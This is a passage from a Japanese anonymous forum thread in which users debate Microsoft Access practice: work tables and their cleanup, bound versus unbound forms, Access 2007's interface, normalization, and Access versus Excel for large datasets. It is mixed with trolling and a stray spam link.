するためのツールであり、それをバックアップするエレガントなテーブルを設計すること
こそが Access 開発の真髄。
　適切なインデックスや制約どころか第一正規形にすらなっていないテーブルをゴリゴリ
かき回させられ、データの不備の責任を押し付けられるモジュールやフォームを見るのは
大変忍びない。

外部DBや非連結フォーム使うぐらいなら .NET でいいかもね。

やっぱAccessなら連結フォームでローカルデータをサクサク編集だね。

非連結を主流で使ってる知ったかぶりの奴が、どこぞの
BBS・チャットに張り付いてるぞ。

まあ、素人が名簿リストをつくるだけならＶＢＡはいらんだろ

>>642
だったらACCESSすら不要だろｗｗｗ
表計算やワープロだけで充分事足りる。

三日で五千円ゲット♪　http://kenshowalker.com/?RID=083717

こんなスレで小山の大将か・・・おまえら全員うんこだな

またお前かｗ

>>591
亀レスですみませんが
必要なカラムのみのワークテーブルをローカルに作って、事前に抽出して
それで検証するようにしたら、めちゃくちゃ早くなりました。ありがとうございます。
これなら一回抽出しておけば、以降の作業がとてもストレスなく進められます。

ここは、うんこ製造機の集会場です、臭いですよ

>>647
あとからワークテーブルを使い始めたような場合は、仕様書（的なものもふくめて）に明記がないので、
設計変更のときにワークテーブルだけ変更せずにバグ発生とかあるから気をつけてな。

うんこがたまってきたなｗｗｗ

ワークテーブルだらけでどれが消していいワークでどれが消したらダメな本番テーブルなのか
全然わからなくなりますた・・・(´・ω・`)

Accessでヘタクソな開発をするとそうなる。

>>651
ワークテーブルをワークMDBに作ればいいだけだ。
ただ、テーブル作成クエリも含め操作中にワークテーブルを作るのは
楽な方法だが、これは前もってワークMDBに必要なワークテーブルを
作っておき、利用する時にデータ追加・終わったらデータ削除のような
手段を取った方が良い。

ここは10年前の開発手法のままだね。

時代に遅れてるって自覚無いの？

accessで時代先取りの開発手法を取り入れる方法をぜひご伝授下さい！お願いしますっっ！！！

つ非連結フォーム

>>656
Accessを使う意味が薄れる。

じゃ、桐のが良いじゃん

やりたいことができればよい。時代を先取りしようとするな。

accessは出てから１０年以上経つが基本的な部分はなにも変わってはいない。
１０年前の開発手法といえばそうかもしれないが、
そんなことを言えば他の現実的な開発手法はそれなりに歴史がある。
歴史のまるで無い最新の開発手法など恐ろしくてとても使えそうもない。

新交通システムはダメで路面電車は良いと言う議論と同じか。

リニアはだめで、新型新幹線は良いという議論ぐらいじゃね？ｗ

いや、在来線は良いが新幹線は死ぬまで乗らないぞ、っていう議論だろ

在来線はCOBOLだろ？
立派に今でも使っているが、今更新幹線に取って代わろうというものでもなかろう？

鉄道板はここでいいですか？

路面電車のどこが悪いのか？

>>660
なにが言いたいのかさっぱりわからん。

Accessは10年前から何もかわらず、
新しい開発手法も育ててこなかったので、

新しい手法を試すか？→歴史が無い→古い手法のまま行く→新しい手法を試すか？→繰り返す の
悪循環に陥っているということか。

勘違いしていけないことは、
Accessはデータベースはデータベースでも
ExcelやWordと同じレベルのものだってことだ。

プロの視点から見れば、効率が悪いとかいろいろ不満はでるが、
ちょっとパソコンができる程度の素人にはこれが限界。

>651
　こっちはワークテーブルの生成と破棄をクラスでラッピングして、ワークテーブルを使う
フォームとか処理またはアプリケーション起動時にそのクラスを生成するようにしてる。
　テーブル名はランダムにして、クラスが生成したテーブル名をプロパティで取り出せるように
なっているので過去のワークテーブルにデータが残っていて変な動作をすることもなし。

　問題点は、定期的にワークテーブルの清掃をしないとアプリケーションエラーで残った
ゴミがたまってくること。うちはログオンスクリプトを使って、ログオンするごとにフォームの
詰まった mde ファイルをライブラリから上書きコピーさせるやり方で回避しているけれども。

最新の技術で何が出来るのかは知っておくべきだと思うが、
デメリットがメリットを上回らない限りわざわざ置き換える必要も無かろうに。

そもそもファイルベースのRDBでAccessに替わるような枯れた物あるか？

>668 以外は誰も勘違いしていないように見えるぞw

>デメリットがメリットを上回らない限り

???

>>672
国語が不自由なのか？
（accessで得られる）メリットが、（最新の技術を使えないことで生じる）デメリットを大きく
上回っているかぎり、わざわざ（最新の技術に）置き換える必要も無かろうに。

と言いたいんだろ。そんなことも分からんのか？

まあ、Accessで作る程度の規模のシステムで最新の開発手法が必要かどうかはかなり疑問。
車で言えばアルトを開発するのにＦ１の技術を必要とするとは思えない。
お気軽小規模システムを開発するのにAccessはそれなりに使えるよ。
別にそれでいいじゃん。

ワークテーブルは、効果的だったら使えばいいだけの話でしょ。
手法として古いからどうとか新しいからどうとかはナンセンスだし、
ある局面でワークテーブルを使うのが適切かどうかは具体的な状況に
依存するから、一般論で善し悪しを決められるわけもないと思う。

むしろAccessの問題として引きつけて言うなら、SQLServerの#や##の
ような、ワークテーブルをシステム側で管理・区別するための仕組みが
用意されていない点は、どうなのかな。
>669 のような工夫はすばらしいと思う。つかうｐしてくれ。w
でも見方を変えると、ワークテーブル使う開発者にそういう工夫を
要求してしまう点こそ、Accessのちょっとダメぽなところかなと。

>>674
お前、せっかく鉄道の流れが沈静化してきたところでそういうたとえをw

では車にはうるさい方、どうぞ。↓

ビートに謝れ！

>>677
> ビートに謝れ！
ソリャア、エライスマンコッタ。
ってなんでや？(w

>>678
F1の技術が導入．．．はいいすぎだが、ビートのミッドシップ、足回りはNSXゆずり。

まあ、ある程度の規模になったら
Accessは捨てるよね。

>>673
「メリットがデメリットを上回らない限り」と書くのが正しい国語じゃないかと思ったんだが・・

買い物するには、ベンツよりも軽のほうが小回りきいて便利だよ。

>>668
wordやExcelとの違いは最新バージョンの参考書より、一世代前のバージョンの参考書が本屋で幅を効かせていることだ。ACCESSスレでも2007の話題少なすぎ。

>>682
だな。
軽のユーザーのところにわざわざ来て、
フェラリーはすごいぞってなんていうやつは
たいがいフェラリーなんて乗ってない。
それどころか、免許も無い厨房や工房だったりする。

そういや、一時期乗換えを検討していたFoxProの開発をやめるらしい。
乗り換えないで良かった？
dBaseII時代からXbase系列は良く使ったものだし、
ある意味Accessよりもずっと手軽だった。
ご冥福を・・・・別に死ぬわけじゃないか（w）

>>683
じゃあ、2007をちょっとだけ使ってみた俺の感想。












GUIが激しく糞。MS死ね。

>>683
一応、Access使いくらいになれば、MSの新バージョンが使い物にならないくらいのことは知っている。
新しいバージョンに飛びつくヤツは極めて少ない。したがって古い本のほうがよく売れる。
女房や畳と違って新しいほうがいいとは限らない(w

でもって、すぐに2007に飛びつくようなやつはGUIがどうのこうと言う。
でもって、「グラフィカルユーザインタフェースが激しく糞」ってどういう意味なのかがわからない。
グラフィカルユーザインタフェースって標準的な操作方法を確立するための手法でもあるので
どの開発システムでもそれほど変わりは無い。
これが糞ってどういうこと？ユーザインタフェースの種類が少ない？
確かにそれはそうかもしれないが、ちょっと使ったくらいでそんなことわかるのか？
でもって、どうやらデザインのことを言っているらしいということにしばらくかかるのだった。

でもって、GUIが糞なのではなく、 >>685 が糞なのだということにやっと気がつくのであった。

>>686
おまえ本当に2007使っていってみてるのか？
曲がりなりにもデータベースの位置づけのアプリが、いきなりあんなにGUI変えたら、
業務で使ってる奴は混乱するんだよ！

SqlServer2005のときもどうかと思ったが、あれは所詮管理者や開発者しか使わないからいい。
が、accessは使用者のほとんどが一般のオペレータ。あそこまで変えるのはありえん。激しくありえん。

Access2007 はパーソナル向け製品です。
住所録管理に使ってください。

>>687
GUIなんか使ってないｗｗｗ
MDB形式のファイルとJETが
互換性のために残っていればいい。

>>689
なんだよ、その屁理屈(-_-)
だったら、2007に乗り換える意味すらないじゃん．．．．

>>690
所詮ACCESSなんてJET用のデータビュアーだよｗｗｗ

つうことでたいていのAccessユーザーは2007に乗り換える意味がないので、乗り換えない。
一部の新し物好きが使ってくれて、バグが出尽くしたら乗り換えを考える。
今のところ、ユーザーインタフェースが変わっただけみたいだし、積極的に乗り換える意味は無さそう。

>691 はその通りだが、だからこそAccessはGUIがすべて。
JetとミドルウェアだけでいいんだったらAccess使う意味なんてない。
そこにGUIが欲しいからAccess使うんであって。

屁理屈というより自爆だな。

でもって　>>693 はいったいAccessをなにに使っているんだ。
住所管理か？

なんでこの板って、accessごときで格好付ける人が多いのかね。
jet用のデータビューアだなんて、言ってみたかっただけちゃうんかと。

まあ、言ってみたかっただけだろうね。

できれば言行一致で、コマンドプロンプトからvbsかjs叩きまくって
「GUIなんか使ってない」と言いはり続けてほしいわ。
間違ってもAccessなんか使うなよ。ｶﾞﾝｶﾞﾚw

もとを正せば >>1 が悪い。「アクセスは最強のデータベース」って
そんなわきゃないだろう？って話にどうしてもなってしまう。

まあ、素人にC言語とマニュアル渡してこれで開発してねって
頼んだところでどうにもならない。
でも、Accessと入門書を渡せば、フォーム作ってレポートつくって、
途中はクエリーとVBAで処理すればいいと言えば、簡単にできそうな気がする。
気がするだけで、結構そこからが長いのだけど・・・・・

まあ、一応の開発用ツールが全部ついてくることを考えると
コストパフォーマンスはかなり高い。

「アクセスはそこそこ使える開発ツール」ってのが正解じゃないのかなあ？

>>696
> 「GUIなんか使ってない」と言いはり続けてほしいわ。
Windows立ち上げた時点でGUI使っているというのはとりあえず目をつぶるのか？(w
FreeBSDでEmacsとC言語とMySQLの組み合わせで開発して欲しいものだ。
尊敬するよ。生きた化石として・・・・・・

>>697
手遅れだけど、それは言えてるかもね。

たまにあるけどさ、格闘技板で「○○こそ格闘技最強！」みたいな
スレ立てて集中砲火喰らってるの。
そういうスレタイ付けなければ、その流派に興味のある人たちが、
多少なりともマッタリと語り合えていたかもしれないだろうに。

これ次スレあるなら、ちょっと鯛変えない？

>>694
甘いな。
オレに住所を管理するほど友達がいるわきゃねーだろ(泣

コンピュータで管理せにゃならんほど友達が多いっちゅうのも変だと思うが・・

>>701
つ マルチ

>>701
俺は年賀状1000枚出すからコンピューターが無いと困るが。

秘書が年賀状出すからコンピュータとか関係ない

>>669
ワークテーブルを使うメリットの一つにプロセスの痕跡を残すことだと思うが（それがバグ追跡の手がかりとなる）
テーブルが自動的に破棄されてしまうと、その痕跡も消えてしまうのだろうか？

痕跡のこしたけりゃ、プロセスログを別で取ればいいだろうが。

>>669
AccessVBAごときにクラスって・・・普通に関数で良かったんじゃねぇか。

>>706
何でそんな仕掛けをしなきゃいかん。

>>707
> 何でそんな仕掛けをしなきゃいかん。

バグ追跡のためだろｗｗｗ

>>705
ワークテーブルなんぞ、理想は知らないうちに生成されて、使い終わった後は知らないうちに
削除されるのが理想なのに、プロセスの痕跡を残すためにワークテーブル残しておいたら、
本末転倒もいいとこ。そんなのは、せいぜい開発中や試験時のときだけだろ。

ここは本家厨房が集まるスレでつか？

>>710
違いますｗｗｗ

>>710
正解です。

>>709
何故ワークテーブルを生成する必要がある？
ワークmdbにワークテーブルを初めから用意しておけばいい。
何かあった時に、ユーザーミスかバグかの切り分けや、その後の調査に役に立つ。
何で本末転倒という言葉が出てくるのかわからんし、リリース後絶対にバグは
出ないのかねぇ。

>>713
なんでお前はそこまでワークテーブルに固執するんだｗｗ
そもそも、jetが一時テーブルを持っていればワークテーブルの議論が発生しないことに気が付け。

でもって、ワークテーブルをなにに流用しようがそんなのは開発者のかってだが、
プロセス痕跡のためにワークテーブル消すな！
までいくと、本末転倒だって言ってんだよ。

>>714
> プロセス痕跡のためにワークテーブル消すな！
> までいくと、本末転倒だって言ってんだよ。

なんのためにワークテーブルを一々消す必要があるのかな？
消す手間と時間、また生成するための手間と時間をかけてのメリットは？
どうせ作らなければならないのなら、最初から作っとけというのは極めて当然の考え方だと思うけど？
まあ、放っておくとドンドン肥大化するだろうから、時々整理する必要はあるだろうけど、
一々消さなければいけない理由なんてなにもないと思うけどなあ？

かつてにようにハードディスクが高価で無駄なファイルは片っ端から消す必要のあった時代なら
ワークテーブルを消去しないなんてとんでもないことだったろうけど、
ビジネス用途では使いけれない大容量のハードディスクが安く出回っているのに、
一々消すほうがばかばかしいような気がする。

ワークテーブルは消去するというのが常識というものかもしれないけど、
常識も時代の流れで変わってくる。常識にとらわれすぎるのも本末転倒だと思うけどなあ？

俺的にはべつにどっちでもいいはなしだ

俺は消さない派だが、ワークテーブルが残っているのがどうしても気持ち悪いってのなら消してもいい。
人の美学にケチつけるつもりはない。
ただ、jetが一時テーブルどうのこうのって言ったところで無意味だと思うよなあ？
無いものねだりしたってしょうがないだろう？
他ではこれくらい常識だって言ったところでそれは他での話で、Accessでは使えない話なんだからねえ？
形だけ真似したからって特に意味があるとも思えない。

素人の素朴な疑問ですが、ワークテーブルを消さない人は「ワークID」とか振って管理しているのですか？
それとも、もしかして使った後に消すか、使う前に消すかを言い争ってるのですか？

>>718
テーブルごと消すか、レコードだけ消すか、だと思われ。

>>699はテーブル名をランダムに生成しているから消さんことにはとんでもないことになるから消してるんだろ。

>>669の間違い

>>719
んだ！その都度テーブルの構造が変わるってのなら別だけど、
同じ構造のテーブルを毎度毎度生成するのは無駄だべって話だ。
そうしなければ、気がすまないという人は別にやってもいいけど、
そうでなければいけないって言われても、そんなことしてなんのメリットがある？

>>717 適切な説明ありがと。特に無いものねだりは、グー。

>>718
自分は、あらかじめワークテーブルも設計段階で検討・作成(ワークmdbに)して
しまうので、削除する時はデータ削除です(次回使用時)。たまに最適化をする
ようにしてます。元々の議論はテーブル削除の方です。

最近ACCESSスレが伸びるね。ACCESS使い激増ですかね。早く義務教育でACCESS教えろよ。

>>715
>放っておくとドンドン肥大化するだろうから、時々整理する必要はある

誰がやるんだよ、そんな面倒くさいことｗ
手離れできんだろ、そんなことじゃ。
作ったシステム、常に保守契約でもしてるのか？

Accessの世界はバッドノウハウの塊だなｗ
ほかのデータベースに応用が利かない奴ばかりなのもうなづける。

リレーショナルデータベース（Access)使っているくせに
基本のselect文すら手書きできないような奴ばかりだしな。

>>725
> >放っておくとドンドン肥大化するだろうから、時々整理する必要はある
> 誰がやるんだよ、そんな面倒くさいことｗ

　誰が手作業でやると言ったんだ。それくらい自動化できるだろう？

>>725
このツールをスタートアップにでもいれときゃよい。

http://www.zenko3.com/download/bcpex.html

>>727
整理って最適化のことかよｗｗｗｗ

>>726
Accessは開発ツールの一種だよ。そのなかにリレーショナルデータベースが含まれているだけ。
そりゃあ手書きじゃなきゃSQL文が書けないなら一生懸命覚えるかもしれないけれど、
クエリーという便利な機能があるのになんでそんなもの覚えなきゃいけないのか？
理論的に説明せよ(w

>>729
> 整理って最適化のことかよｗｗｗｗ
だれがそんなことを言ったのか？まあ、最適化くらいで十分という気もするけど、
他にも方法はいろいろある。

アクセスの使い方をを動画で解説してくるソフトってある？

>705 >707
　基本的に残したくないワークテーブルに対して Finalize 処理で開放を保証するために
クラスを使っている。ワークテーブルを都度消すのは、ユーザの手元、管理されていない
領域に情報が残ることを嫌うためで、そのため使い終わったらテーブルごと消すか中身を
全部 DELETE するのだ。
>715
　最適化不要で常に軽量高速なフォームを使えるようにするという目的のため、今は
「最適化済の mde(ade) を毎度コピーして使う」という方法を取っている。これなら壊れても
再起動すれば常に新品だ。テーブルの方は夜中に JRO で最適化する VBScript をタスクで
流して毎日スッキリ。

実行計画考えてSQL書いてもクエリ使うと滅茶苦茶にされたりするけどなw

オフィスアプリケーションでもいいし、開発ツールでもいいし、
DBフロントエンドでも何でもいいけど、自分が全て正しいと思ってると恥ずかしいよ。
実質Access総合スレになってるんだから人それぞれの使い方があるわな。

テーブル操作のクラス化とか考える事はあるけど、作成と維持の
手間を考えると俺はペイ出来そうに無いな、楽しそうだしスッキリするとは思うけど。

>>731
「肥大化」が抽象的過ぎるが、一定のレコード数とかファイル容量とか超えたら
ワークテーブル削除なり、レコード削除するようにしてるのか？

そんなことするぐらいなら、使い終わったら削除するほうが楽だろうが。

> テーブル操作のクラス化とか考える事はあるけど、作成と維持の
> 手間を考えると俺はペイ出来そうに無いな、楽しそうだしスッキリするとは思うけど。

というか、普通はO/Rマッピングツールというものがあって
それを使うだけの話なんだが・・・
VBAだけだよ。いまだにそういうのがないのは。

まともなデータベースなら、truncate があるから
それでデータ削除するだけなんだけどな。

Accessにはそういうものすらないから、
テーブルを消してから作り直せばいい。

とはいえ、Accessにはテーブルを作成するSQL文を作成してくれるウィザード（笑）がないから
手書きでSQL文を書ける人間にしか使えない高度（Access厨にとって）な技

でも、この方法だとマルチユーザーで使うと問題が出るけどな。
まともなデータベースなら一時テーブルを作るだけの話なんだが。
セッションごとに一時テーブルが作られるから、同時に一時テーブルをアクセスしたとしても
何の問題もない。

まあAccessユーザーは一人用の小さなツール作って満足してろってこった。

jetはトランザクションログとかないんだから、truncateあっても意味無いじゃん。
あほかと。

>>737
> とはいえ、Accessにはテーブルを作成するSQL文を作成してくれるウィザード（笑）がないから
> 手書きでSQL文を書ける人間にしか使えない高度（Access厨にとって）な技

まともなAccessユーザーなら普通にテーブル作成くらいクエリーで作れるぞ。
ウィザードなんかかえって面倒だ。

> でも、この方法だとマルチユーザーで使うと問題が出るけどな。
> まともなデータベースなら一時テーブルを作るだけの話なんだが。
> セッションごとに一時テーブルが作られるから、同時に一時テーブルをアクセスしたとしても
> 何の問題もない。

まともなやつならワークテーブルを共有しようとは思わん。
ローカルに持つに決まっているだろうが・・・・・

> まあAccessユーザーは一人用の小さなツール作って満足してろってこった。

そりゃあ、Accessで大規模開発が無理くらい十分承知の上だ。

だいたい目的の違うものを並べて比較しても意味がないということに気づかないのか？
まともなデーターベースがなんなのか知らないけれど、
それでは手軽で安価な開発ができないからAccessがあるわけで、
データーベースとして見れば低性能だってくらいは百も承知だ。

それとも、そのまともなデーターベースとやらには
簡単に自由な印刷ができるレポートツールはついているのか？

>>737
「三輪車は子供の乗りもんだろ、ちょｗｗｗおまｗｗｗｗｗ」
とか言ってるのと同じことをほざいてる自覚はあるか？ｗ

少なくともこのｽﾚ住人の中でお前の技術が底辺の位置にあることに気が付いたほうがいいぞｗ

>>735
今のところ、そのシステムを終了する前に最適化するだけ。
理想的な方法ではないことは十分承知だが、
とりあえず、それで問題がないし重要なデータが入るわけでもないので
まあいいかと・・・・・

>>733
> ワークテーブルを都度消すのは、ユーザの手元、管理されていない
> 領域に情報が残ることを嫌うためで、そのため使い終わったらテーブルごと消すか中身を
> 全部 DELETE するのだ。

ワークテーブルに情報が残ることが嫌なら、使用直後にレコードを削除すれば良さそうなものだ。
ワークテーブルの構造を変えられるのが嫌ってならわかるが、
それはユーザーがバカすぎるって気もする。

>>741
他にも方法はあるって言っておいて、やってるのは最適化だけって．．．
それ、ワークテーブル関係ないじゃん．．．

>>740
オイオイ・・・・いくらなんでも三輪車は無いだろう？
せめて軽とかバイクとかにしてくれ(w
要するにバイク便では手紙くらいしか運べないだろう？
土石の運搬には使えないぞとトラックの運ちゃんがほざいているようなもんだ。
トラックが都会の渋滞に巻き込まれて身動き取れないところで
バイクが横をすり抜けていくと・・・・・

>>743
> 他にも方法はあるって言っておいて、やってるのは最適化だけって．．．
別にいいだろ？それで特に問題なければ？
例えばテーブルの構造だけのmdbを作っといてそれをその都度コピーすれば
一番すっきりするかもしれないけれど、別に最適化だけでも十分だと思ったりする。
ワークテーブルなんて壊れたら作り直せばいいだけなんだから。

ACCESSは老若男女皆使えるから意味が有るのだよ。他のデータベースソフトは大衆的じゃない。徹底的に大衆的なソフトだから偉大で最強なんだよ。

>>746
そうやって偉大だとか最強とかつけるから物議を醸すんだよ。
大衆的なものが偉大で最強ってのは思想信条みたいなものだろう？
自分の脳内だけにしておけよ。

>>732
> アクセスの使い方をを動画で解説してくるソフトってある？
http://dougadewakaru.com/shopdetail/004000000002/order/
なんか怪しさを満載しているような気がする。

>>745
途中で別人混じってるなら申し訳ないが、

「肥大化するから整理する必要はある」
↓
「面倒くさいだろ」
↓
「自動化できるじゃん」
↓
「なんだ最適化か」
↓
「だれがそんなこと言った、ほかにもあんだろ。まぁ、最適化もありかもな」
↓
「他の方法教えて。実際には何やってるの？」
↓
「最適化」

あふぉかと。

バカはスルー

まず他のデーターベースって話は無しにしようや。
具体的に何と比較している話なのかわからなければ議論にもならん。
Accessと比較するとしたら桐、ファイルメーカー、MRDB、dBMAGIC、4Dあたりだと思う。
MySQL,PostgreSQLはそれだけでは全然比較にならない。
ましてやOracle,db2などと比較するなどまったく不毛の議論だ。
いくら良いと言われてもそう簡単に乗り換えられるわけがない。
MySQL,PostgreSQLあたりなら組み合わせによっては良いかもしれない。

>>745
オレは最適化・コピーの両方やってる。普段は最適化だけで充分。
管理されてない領域じゃなくて、システムの1つとしてワークmdbを用意してるから、
ユーザーに何か言われたことはないなぁ。システムのmdbにワークを作らないの
で、こっちの最適化はある程度ユーザー任せ。専用のショートカットアイコンを
用意してあげてる。

>>752
> システムのmdbにワークを作らない

http://www.accessclub.jp/vbakaisetu/07.html

だったら、こんなふうにプログラムに組んでしまったら？
システム終了時にワーク用mdbを最適化しておけば、
ユーザー任せにすることもないだろう？

>>697
亀だが、去年の11/23までは

【まだまだ】Microsoft Access クエリ3【使える】
http://pc11.2ch.net/test/read.cgi/db/1120779000/

ってスレもあったんだけど981でDAT落ち。ここは実質 Access 4スレ目

(歴代スレ)
Microsoft Access
http://pc5.2ch.net/test/read.cgi/db/1056952414/
http://pc5.2ch.net/db/kako/1056/10569/1056952414.html

【まだまだ】Microsoft Access クエリ2【使える】
http://pc8.2ch.net/test/read.cgi/db/1089161114/

じゃあうんこ製造機の溜まり場になるわけだ

>>753
いや、ユーザー任せはシステムのmdbで、ワークはvba使ってあるタイミングで
やってるよ。

>>754
スレ立ては乙なんだけど、すなおにクエリ4にしておいてほしかった。orz
こういうDQNｶﾓ-ﾝщ(ﾟﾛﾟщ) みたいなスレ鯛だと、>737 や >755 の
ようなクズを呼び込むだけつー気がするよ。。。

>>748
サンプルみたけど、すごいな。
解説の声が普通のおっさんじゃん。
ちょっと笑っちゃったよ。

>>758
だろ？
よく言えば手作り感満載なんだけど、ちょっと買う気にならない代物だなあ？
まあ、騙されたと思って買ってみるのもいいかもしれない。
まあ、「サルでもわかるAccess」（あったけ？）を買ってみてもわからない人にはいいかもしれない。

よくアカデミック版をオークションで売っているのだが、
これは通常版と比べてなにが違うのだろう？

>>760
ライセンス許諾の条件。

学生と教育関連しか使えない
不便。通常版の値段下げろ。

何いってんだ、ＭＳoffice って無料だろ

>>762
人生日々勉強。俺様の教育に使うから教育関係。
・・・・つうのはだめだろうなあ（ｗ
要は同じ者を教育関係者には安く売るってだけのことか？

>>764
要は教材用途としての販売ってことだろ。

ちげーよw
ユーザを限定しているだけで用途は限定してない。
教材用途限定だったら、学校職員が事務作業に使ったりできねーだろ。

ttp://www.microsoft.com/japan/education/ap/default.mspx

そうそう。
うちのヨメは大学の研究室におるが
アカデミックパックじゃよ。

>>455の質問をしたものです。
アイデアをいただきましたみなさま大変ありがとうございました。
その後いろいろ考えて解決しましたので報告いたします。

簡単にいうと，テーブルをデータ入力用とデータ蓄積用に分けました。
入力用テーブルどうしでリレーションシップを設定しておき，入力する前に蓄
積用テーブルから入力用テーブルにデータをコピーしておくことで，思い通り
の処理を実現できました。

アカデミックパックのことを嫁呼ばわりするとは
そうとう病んでるね

>>768

どう解決されたのかようわからん。

６万件に満たないならばエクセルでやればいい。

AccessよりExcelの方が扱えるレコード数ずっと多いぞ

　 　∩＿＿＿∩　　 　　　　　　｜
　　 | ノ＼　　　　 ヽ　 　　　　　　|
　　/　　●゛　　● |　　　　 　　　|
　 |　∪　　( _●_)　ミ　 　　　　　j
　彡､　　　|∪|　　 |　　　 　　　 Ｊ
/　　　　 ∩ノ ⊃　 ヽ
(　 ＼　／ ＿ノ　|　 |
.＼　“　　／＿＿|　 |
　　＼ ／＿＿＿ ／

>>770
例えば
注文（受注番号[主キー]，取引先コード，出荷日）
取引先マスター（取引先コード[主キー]，取引先名）
という二つのテーブルがあるとして取引先コードどうしをリレーションシップ
でつなぎます。

この状態で注文入力フォームを作ると，取引先コードを入力した時点で取引先
名が表示されるようにできます。この時，フォームで取引先名を書き換えるこ
とができますが，それをすると「取引先マスター」自身が書き換えられてしま
うので不都合です。

このため，「取引先マスター」を一度ワークテーブルにコピーして，そのワー
クテーブルと「注文」とをリレーションシップでつないで注文入力フォームを
作りました。これで「取引先マスター」に影響を与えることなく，取引先名を
書き換え放題になりました。

フォームで入力後，保存ボタンを押せば，「注文」と「取引先マスターのワー
クテーブル」をクエリで結合して，「注文データ」という正規化しないテーブ
ルに保存します。そして「注文」と「取引先マスターのワークテーブル」の中
身を削除して終わりです。

>>771
6万件に満たないデータであってもエクセルよりアクセスを使いたいと思うこ
とありませんか？
例えば，注文を管理する場合，エクセルだと次の2通りの方法になると思いま
す。

方法１
注文番号　送り先　出荷日　注文明細
１　　　　埼玉　　６／３　パソコン＊２，プリンタ＊１
２　　　　東京　　６／４　マウス＊１

方法２
注文番号　送り先　出荷日　商品　　　数量
１　　　　埼玉　　６／３　パソコン　２
１　　　　埼玉　　６／３　プリンタ　１
２　　　　東京　　６／４　マウス　　１


方法１だと商品別の注文数合計を計算しにくくなってしまいます。
方法２だと注文番号，送り先，出荷日を何度も繰り返し入力することになるの
で，間違う可能性が高くなるし，ちょっと変更したい時も対象となる行を全部
探し出さないといけないのが大変ではないですか？

>>774でやっている事をExcelでやろうとしたら、どうするの。

MySQLでいいや

>>776
エクセルは非正規化データを簡単に入力できますよ。普通に入力するだけです。

アクセスはデータを正規化してきれいに管理できるのが魅力なんですけど，あ
まりに正規化を強要されて不自由に感じたんで，少しだけ崩したかったのです。

>774
　不便・不自由・データが入れづらいと感じただけで正規化を崩すような人の設計する
テーブルは、そもそも正しく正規化されていない法則。でも、第一正規形->非正規形に
する集合関数(>775 の 方法２->方法１ のようにしてくれる)は欲しいと思うこの頃。

　取引先マスタは、「登録済みの取引先のみしか入力できなくするため」じゃなく、
「入力を便利にするため」に使っているのかな。それだったら、取引先マスタへの
参照整合性制約を張る必要がそもそも無いと思う。
　あと、注文入力フォームのレコードソースに取引先マスターを引く必要って
あるのカナ?取引先選択コンボボックスのレコードソースにするだけで良いと思うけど。

いつも思うんだが、なぜ、表計算とRDBMSを一緒の土台で議論しようとするんだか。
せいぜい、表計算であるExcelが場合によっては簡易データベースの代替になるよね、
議論はで終わりだろうが。

>>772
Accessは100万越えるとまともに動かない
Excelは100万越えてもまともに動くね、2007からだけど

> いつも思うんだが、なぜ、表計算とRDBMSを一緒の土台で議論しようとするんだか。

だって両方ともその程度の人間が使うものでしょ？

>>778
そんなアナタは、桐にしとけ

>>780
国民全体がRDBMSの知識が無さ過ぎる。
高校の情報とやらの時間では教えているのかね。

そんなの余計なお世話

RDBMSの知識があれば、社保庁の失敗は無い。
現代社会にとって必要不可欠の知識。

>>781
あのさ、Excel 2003まではふつうに使えていた表が、Excel 2007で
劇的に遅くなって使い物にならない、とユーザーから苦情が噴出
しているこの時期に、そういう自分のアホを晒すだけのような発言
をしても笑い者になるだけだよ。

入力せずに原簿を破棄したんだから関係ない

>>781
ちなみに100万件のExcelのファイルは何メガなんだ？

excelって65536行までだと思ってた。
最近は違うんだねｗ

>>790
2007だか、その前のバージョンで6万件の限界がなくなったのは知ってる。
100万件を実運用するとどうなるかは知らないがｗ

ぼくはやｐっぱりMySQLかと

ACCESS 2007でMDB(97-2003互換形式)の最適化ってどうやるの？

メニューが変わってコマンドがどこにあるか分らないという事なら
officeボタン(左上)−管理−最適化/修復

>>794
�d

>>769
爽やかな笑いを有難う。いや本当。

Excelで65000どころか数千件のデータ入れた段階で遅くなって使い物にならなくなった
俺は帝農なんでしょうか？

うん

Excelは任意の範囲にSQL打てたら相当使い勝手良くなると思うんだけどね。

自ファイルを外部データ扱いにするとどうも挙動不審になるし、
わざわざ別ファイルに書き出す位ならJet使ってしまうな。

結局、excelで100万件稼動させてるって豪語していた馬鹿はどこいったんだ．．．
本当なら、いろいろ聞きたかったのにｗ

>>800
呼んだ？

>>801
まずは　>>789　の質問に答えてくれ。

>>801は理論上の限界値と実際の限界との区別もつかない
亞フォということで桶？

なんだよー
まさか、ファイル容量聞かれて、あわてて100万件生成してるわけじゃないよな？ｗ

「今出ました〜」
みたいなｗ

いるんだよなあ？やたらに馬鹿でかい表をExcelでつくるやつ。
それで遅いから新しいPCに入れ替える。
そしたらもっと大きい表をつくって
遅いから新しいPCに入れ替える。
そしたら・・・・・（エンドレスで続く）

資源の無駄遣いだからヤメローーーー

1048576行*16384列の全部に数字0を埋めて保存すると・・・
.xlsxって要するに.xhtmlの.zipなんで結構ちっちゃくなるかもしれんw

>>806
そうはいっても、メモリに呼び出した段階で圧縮は解けるわけだから、
いったいどれだけの容量のメモリが必要なんだ？
仮想記憶が利用できるたって・・・・・もう考えるのもいや（ｗ
だいたい表計算とデータベースの違いもわからないやつはこのスレにくるな！

>>804
それで、物理容量に引っかかってリソースがたりませんとか言われて大慌て・・・・・
つうのがパターンかな？

ＥＸｃｅｌ100万行だって２Ｇ行かねえだろ

editerにもよるが、2GBだったらテキストファイル開くのも大変なわけでｗ
実運用に耐えられるのかなぁ、2GBのexcelファイル。

早く、運用してる奴、再降臨しないかなぁ。

数メガじゃねーの？

ちなみに、今使ってる顧客データ10万件を10倍にしてテキスト出力したら250MB

顧客データだけってことはないだろうから、同じようなデータ4つ持ったらテキストファイルで1GB。
それがexcelなら．．．．

>>806
1048576行*1列に数字0を埋めたら、数MBだろ
xlsxなら極少

>>813
つまり１００万件というのはそういう実用にならない使い方をすれば可能だって言う理論値だということだな。
まあ、いい加減Excelマンセーのアフォ相手にするのやめようぜ。

それはAccessも同様なんだが

>>815
>>58 はAccessで１２０万件使っているそうだ。

Accessも同様ってアフォかｗ

Excelは常に全データ読み込む。
Accessは必要最小限のデータしか読み込まない。

Excelは全データすべてを頭から検索する。
Accessはインデックスを使って効率よく数十倍、数百倍以上のスピードで検索する。

それくらいもしらないのか。

>>817
Excelしか使えない。Excelでなんでも出来たらいい。そうだExcelでなんでも出来るに違いない。
Excelでなんでも出来る。じゃあ、なんでAccessなんてあるの？
という思考回路の人がいるんだよ。
Excelのマクロがちょっとわかるとプログラマー気取り、俺は天才だあーーー
